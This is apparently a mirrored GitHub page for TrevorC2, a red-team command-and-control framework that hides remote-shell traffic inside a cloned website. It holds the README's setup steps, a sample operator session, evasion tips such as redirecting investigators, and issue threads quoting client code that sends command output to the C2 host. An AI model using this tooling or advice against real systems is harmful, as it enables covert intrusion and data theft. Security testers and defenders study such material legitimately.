Git Product home page Git Product logo

trevorc2's Introduction

trevorc2

TrevorC2 - Command and Control via Legitimate Behavior over HTTP

Written by: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com

Note that this is a very early release - heavy randomization and encryption to be added soon.

TrevorC2 is a client/server model for masking command and control through a normally browsable website. Detection becomes much harder as time intervals are different and does not use POST requests for data exfil.

       ,  .'''''.  ...    ''''',  .'           
        ','     ,.MMMM;.;'      '.             
         ;;    ;MMMMMMMMM;     ;;'             
        :'M:  ;MMMMMMMMMMM;.  :M':             
        : M:  MMMMMMMMMMMMM:  :M  .           
       .' M:  MMMMMMMMMMMMM:  :M. ;           
       ; :M'  :MMMMMMMMMMMM'  'M: :           
       : :M: .;"MMMMMMMMM":;. ,M: :           
       :  ::,MMM;.M":::M.;MMM ::' :           
     ,.;    ;MMMMMM;:MMMMMMMM:    :,.         
     MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM         
     M':''':MMMMMMMMM;MMMMMMMM: "': M         
     M.:   ;MMMMMMMMMMMMMMMMMM;   : M         
     :::   MMMMMMMMMMM;MMMMMMMM   ::M         
    ,'';   MMMMMMMMMMMM:MMMMMMM   :'".         
  ,'   :   MMMMMMMMMMMM:MMMMMMM   :   '.       
 '     :  'MMMMMMMMMMMMM:MMMMMM   ;     '     
 ,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.     
 :MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:     
 :MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:     
  MM:   :  MMMMMMMMMMMMM:MMMMMM  ,'  :MM       
  'MM   :  :MMMMMMMMMMMM:MMMMM:  :   ;M:       
   :M;  :  'MMMMMMMMMMMMMMMMMM'  :  ;MM       
   :MM. :   :MMMMMMMMMM;MMMMM:   :  MM:       
    :M: :    MMMMMMMMM'MMMMMM'   : :MM'       
    'MM :    "MMMMMMM:;MMMMM"   ,' ;M"         
     'M  :    ""''':;;;'''""    :  M:         
     ;'  :     "MMMMMMMM;."     :  "".         
   ,;    :      :MMMMMMM:;.     :    '.       
  :'     :    ,MM'''""''':M:    :     ';       
 ;'      :    ;M'         MM.   :       ;.     

There are two components to TrevorC2 - the client and the server. The client can be configured to be used with anything. In this example it's coded in Python but can easily be ported to C#, PowerShell, or whatever you want. Currently the trevorc2_client.py supports Windows, MacOS, and Linux. You can always byte compile the Windows one to get an executable, but preference would be to use Windows without having to drop an executable as a stager.

The way that the server works is by tucking away a parameter thats right before the parameter. This is completely configurable, and it's recommended you configure everything to be unique in order to evade detection. Here is the workflow:

1. trevor2_server.py - edit the file first, and customize, what website you want to clone, etc. The server will clone a website of your choosing and stand up a server. This server is browsable by anyone and looks like a legitimate website. Contained within the source is parameter that (again is configurable), which contains the instructions for the client. Once a client connects, it searches for that parameter, then uses it to execute commands.
2. trevor2_client.py - all you need in any configurable option is the ability to call out to a website, parse some basic data, and then execute a command and then put the results in a base64 encoded query string parameter to the site. That's it, not hard. 
3. trevor2_client.ps1 - powershell implementation of trevor2_client.py, this allows you to use native PowerShell to interact with Trevor2_Server.

Installation

pip install -r requirements.txt

Usage

First edit the trevor2_server.py - change the configuration options and site to clone.

python trevor2_server.py

Next, edit the trevor2_client.py or ps1 - change the configuration and system you want it to communicate back to.

python trevor2_client.py or .\trevor2_client.ps1

Session Management

TrevorC2 supports the ability to handle multiple shells coming from different hostnames. The way TrevorC2 works is it will identify new hostnames as sessions. You can interact with the sessions once you execute a command. If you have multiple sessions, you can type a command and interact with that session based on the session number stored globally.

When first starting TrevorC2, you can type help or ? for additional information. Basic command usage is "list" which will list any active shells or none at all, or "interact <session_id>" to interact with the shell you want.

You can always type back/exit within a shell, it will still remain active and not actually kill the shell.

Example below:

root@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py 

TrevorC2 - Legitimate Website Covert Channel
Written by: David Kennedy (@HackingDave)
https://www.trustedsec.com
[*] Cloning website: https://www.google.com
[*] Site cloned successfully.
[*] Starting Trevor C2 Server...
[*] Next, enter the command you want the victim to execute.
[*] Client uses random intervals, this may take a few.
[*] Type help for usage. Example commands, list, interact.

Trevor C2 shell
trevorc2>help

Documented commands (type help <topic>):
========================================
exit  help  interact  list  servercmd

trevorc2>help list
Description: Lists all available agents
Usage: list

trevorc2>list
No available Agents. :-(

trevorc2>
*** Received connection from 127.0.0.1 and hostname stronghold with communication sid pSNIRFgTuZnCdHN for TrevorC2.

trevorc2>list
id  hostname                ip address        communication_sessionid
1   stronghold              127.0.0.1         pSNIRFgTuZnCdHN

trevorc2>help interact
Description: Starts an interactive shell with agent
Usage: interact <id>

trevorc2>interact 1
[*] Dropping into trevorc2 shell...
[*] Use exit or back to select other shells
stronghold:trevorc2>ifconfig
[*] Waiting for command to be executed, be patient, results will be displayed here...
[*] Received response back from client...
=-=-=-=-=-=-=-=-=-=-=
(HOSTNAME: stronghold
CLIENT: 127.0.0.1)
ens33     Link encap:Ethernet  HWaddr 00:0c:29:63:7c:67  
          inet addr:172.16.37.132  Bcast:172.16.37.255  Mask:255.255.255.0
          inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:835091244 (835.0 MB)  TX bytes:2623070556 (2.6 GB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
          TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:211565776 (211.5 MB)  TX bytes:211565776 (211.5 MB)


stronghold:trevorc2>back

trevorc2>help servercmd
Description: Run command on the server
Usage: servercmd <command>
Example: servercmd ifconfig

trevorc2>servercmd hostname
PwnServer

trevorc2>exit
[*] Exiting TrevorC2... 

Dockerfile

Uses an alpine-based Dockerfile to deploy trevorC2, handy for quick deployment on cloud providers.
Example below:

git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# At this point, setting up docker-machine to remotly deploy works great
docker build -t trevorc2 . 
docker run -it -p 80:80 -p 443:443 trevorc2

Variables configuration

It is important to change the variables that are presented in each of the scripts. Especially the SITE_PATH_QUERY and encryption key. I would also recommend looking at the REDIRECT option. Instead of cloning a website, you have another option which will redirect the victim host that may be browsing the site to investigate to the legitimate site. Basically when someone visits the site, it'll just redirect them to the site you want cloned. Change the cloned site from google for example to a different site and turn redirect to ON.

TODO

Add ability for longer than 2048 data output. Query string parameter length limited size length.

Add do_POST support for POST exfil on longer data.

Add upload/download functionality.

trevorc2's People

Contributors

2xyo avatar api0cradle avatar fsacer avatar hackingdave avatar janivz avatar kev169 avatar mainframed avatar nasbench avatar nma-io avatar pasadoorian avatar pedrosfreitas avatar sctf2020 avatar trevorbryant avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

trevorc2's Issues

[!] Something went wrong, printing error: HTTP Error 500: Internal Server Error

revorC2 - Legitimate Website Covert Channel
Written by: David Kennedy (@HackingDave)
https://www.trustedsec.com
[] Cloning website: https://github.com/
[
] Site cloned successfully.
[] Starting Trevor C2 Server...
[
] Next, enter the command you want the victim to execute.
[] Client uses random intervals, this may take a few.
[
] Type help for usage. Example commands, list, interact.

trevorc2>
*** Received connection from 127.0.0.1 and hostname Johns-MacBook-Air.local with communication sid qmMckcopUtHCDdm for TrevorC2.

trevorc2>interact 1

*** interact with Johns-MacBook-Air.local qmMckcopUtHCDdm.
[] Dropping into trevorc2 shell...
[
] Use exit or back to select other shells
Johns-MacBook-Air.local:trevorc2>ls
[*] Waiting for command to be executed, be patient, results will be displayed here...

Trying to configure HTTPS Support error - "There is no current event loop in thread 'Thread-1'.**

Hi guys,

I just started to test out TrevorC2 and i'm having an issue setting up HTTPS.

I am able to run the Powershell agent and get a connection back to my server. I can run commands and most of the time the output is displayed in the console (sometimes it seems to hang though when I run commands like netstat or arp -a so not sure what may be happening there)... anyway

When I edit the trevorc2_server.py and set the following two options:

Turn to True for SSL support

SSL = True
CERT_FILE = ("/opt/trevorc2/fullchain1.pem") # Your Certificate for SSL

Save and then launch the server I get the following error.

./trevorc2_server

revorC2 - Legitimate Website Covert Channel
Written by: David Kennedy (@HackingDave)
https://www.trustedsec.com
[] Cloning website: https://www.google.com
[
] Site cloned successfully.
[] Starting Trevor C2 Server...
[
] Next, enter the command you want the victim to execute.
[] Client uses random intervals, this may take a few.
[
] Type help for usage. Example commands, list, interact.

trevorc2>[!] Something went wrong, printing error message here: There is no current event loop in thread 'Thread-1'.

Any ideas as to what this might be? I placed what I THINK is my SSL certificate file in /opt/trevorc2/ and made sure the permissions we set so they can be read by the application.

I'm wondering if this functionality hasn't been implemented yet or is there something I'm doing wrong? Is there an easy way to test the SSL functionality?

Thanks for taking the time to read
Cheers

Couple of minor issues in command handling code

Issue 1

Check for failed allocation to avoid access violation on write

    // Make sure we have enough space to add '\0' character at end.
    enc = (char*)b64_realloc(enc, size + 1);
! Should check for failed allocation before the next assignment.
-    enc[size] = '\0';
+    if (NULL != enc) {
+        enc[size] = '\0';
+    } else {
+        return NULL;
+    }

enc = (char*)b64_realloc(enc, size + 1);

Issue 2

I am not sure of the intent when doTasking is on the nth iteration of getting shell command output but fails due memory allocation. Currently the code returns the buffer with as much as it was able to read. But there is some unreachable code that may be a remnant of treating this as an error case.

unsigned char* doTasking(unsigned char* command, int* outSize)
...

    while (1) {
        tempshelldata = realloc(shelldata, fullReadSize + 2048 + 1);
        if (tempshelldata == NULL) {
            break;
! breaks out of the loop when realloc returns NULL
        }
        if (tempshelldata == NULL) {
! this code is not reachable because the check against NULL above breaks out of the loop
! if this code was reached, it does not set `shelldata` to NULL after `free` which would result in callers to `doTasking` 
! operating on undefined memory and potentially a double-free because they also call `free`
            free(shelldata);
        }

if (tempshelldata == NULL) {

Some potential security enhancements

Some of these may be non-issues and others may be worth considering them ;-)

Test using bandit:


Test results:
>> Issue: [B404:blacklist] Consider possible security implications associated with subprocess module.
   Severity: Low   Confidence: High
   Location: trevorc2/trevorc2_client.py:48
47	import time
48	import subprocess
49	import hashlib

--------------------------------------------------
>> Issue: [B311:blacklist] Standard pseudo-random generators are not suitable for security/cryptographic purposes.
   Severity: Low   Confidence: High
   Location: trevorc2/trevorc2_client.py:98
97	def random_interval(time_interval1, time_interval2):
98	    return random.randint(time_interval1, time_interval2)
99

--------------------------------------------------
>> Issue: [B310:blacklist] Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
   Severity: Medium   Confidence: High
   Location: trevorc2/trevorc2_client.py:116
115	        else:
116	            req = urllib.Request(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + hostname_send, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'})
117	            html = urllib.urlopen(req).read()

--------------------------------------------------
>> Issue: [B310:blacklist] Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
   Severity: Medium   Confidence: High
   Location: trevorc2/trevorc2_client.py:117
116	            req = urllib.Request(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + hostname_send, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'})
117	            html = urllib.urlopen(req).read()
118	            break

--------------------------------------------------
>> Issue: [B310:blacklist] Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
   Severity: Medium   Confidence: High
   Location: trevorc2/trevorc2_client.py:137
136	        else:
137	            req = urllib.Request(SITE_URL + ROOT_PATH_QUERY, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'})
138	            html = urllib.urlopen(req).read().decode('utf-8')

--------------------------------------------------
>> Issue: [B310:blacklist] Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
   Severity: Medium   Confidence: High
   Location: trevorc2/trevorc2_client.py:138
137	            req = urllib.Request(SITE_URL + ROOT_PATH_QUERY, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'})
138	            html = urllib.urlopen(req).read().decode('utf-8')
139

--------------------------------------------------
>> Issue: [B602:subprocess_popen_with_shell_equals_true] subprocess call with shell=True identified, security issue.
   Severity: High   Confidence: High
   Location: trevorc2/trevorc2_client.py:148
147	                # execute our parsed command
148	                proc = subprocess.Popen(parse, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
149	                stdout_value = proc.communicate()[0]

--------------------------------------------------
>> Issue: [B310:blacklist] Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
   Severity: Medium   Confidence: High
   Location: trevorc2/trevorc2_client.py:159
158	                else:
159	                    req = urllib.Request(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + stdout_value, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'})
160	                    html = urllib.urlopen(req).read()

--------------------------------------------------
>> Issue: [B310:blacklist] Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
   Severity: Medium   Confidence: High
   Location: trevorc2/trevorc2_client.py:160
159	                    req = urllib.Request(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + stdout_value, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'})
160	                    html = urllib.urlopen(req).read()
161

--------------------------------------------------
>> Issue: [B605:start_process_with_a_shell] Starting a process with a shell: Seems safe, but may be changed in the future, consider rewriting without shell
   Severity: Low   Confidence: High
   Location: trevorc2/trevorc2_server.py:358
357	        print("\n\n[*] Exiting TrevorC2, covert C2 over legitimate HTTP(s).")
358	        os.system('kill $PPID') # This is an ugly method to kill process, due to threading this is a quick hack to kill with control-c. Will fix later.

--------------------------------------------------
>> Issue: [B607:start_process_with_partial_path] Starting a process with a partial executable path
   Severity: Low   Confidence: High
   Location: trevorc2/trevorc2_server.py:358
357	        print("\n\n[*] Exiting TrevorC2, covert C2 over legitimate HTTP(s).")
358	        os.system('kill $PPID') # This is an ugly method to kill process, due to threading this is a quick hack to kill with control-c. Will fix later.

--------------------------------------------------

Code scanned:
	Total lines of code: 384
	Total lines skipped (#nosec): 0

server-not executing commands???

What am i doing wrong?
I get the sessions and can interact with them, but the commands will not execute....??? For example ipconfig, hangs indefinitely with no response:
DDA83668-B026-4A58-83FD-61686900C010

Client:
95D9539A-399F-4CE8-8768-5E411EE2127C

TrevorC2 v1.1/v1.2 - Fingerprinting Vulnerability

TrevorC2 v1.1/v1.2 fails to prevent fingerprinting primarily via a discrepancy between response headers when responding to different HTTP methods, also via predictible responses when accessing and interacting with the "SITE_PATH_QUERY".

CVE-2019-18850

Gionathan Armando Reale, Deloitte DK

Connection error

tested this Trevor C2 and I get this every few seconds: Received connection from 89.xxx.xx.xx and hostname DESKTOP-QB6T90V with communication sid pwCYUjYqUlhAVlj for TrevorC2.

Received connection from 89.xxx.xx.xx and hostname DESKTOP-QB6T90V with communication sid pwCYUjYqUlhAVlj for TrevorC2.

Received connection from 89.xxx.xx.xx and hostname DESKTOP-QB6T90V with communication sid pwCYUjYqUlhAVlj for TrevorC2.

In the powershell window on attacked computer I'm getting error: Cannot connect to '$SITE_URL'" -
Write-Host "[*] Trying again in $time seconds..."

What could be the problem? I've set up my ip in client.ps1 and didn't touch anything else..

Command issues with the C# client

I can connect to the Server with C#, Powershell, and the Python client, but for some reason I cannot execute commands from the C# client built in Visual Studio. Build seems to goes fine, and the initial connection works, but when I interact with the session and attempt a simple "ipconfig" commands, the server hangs with the message "Waiting for command to be executed. be patient..." which I get with the other clients but they respond with the command output. I'm sure it's probably something I'm doing wrong, either in the build or the configuration.

image

Thanks,

DH

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.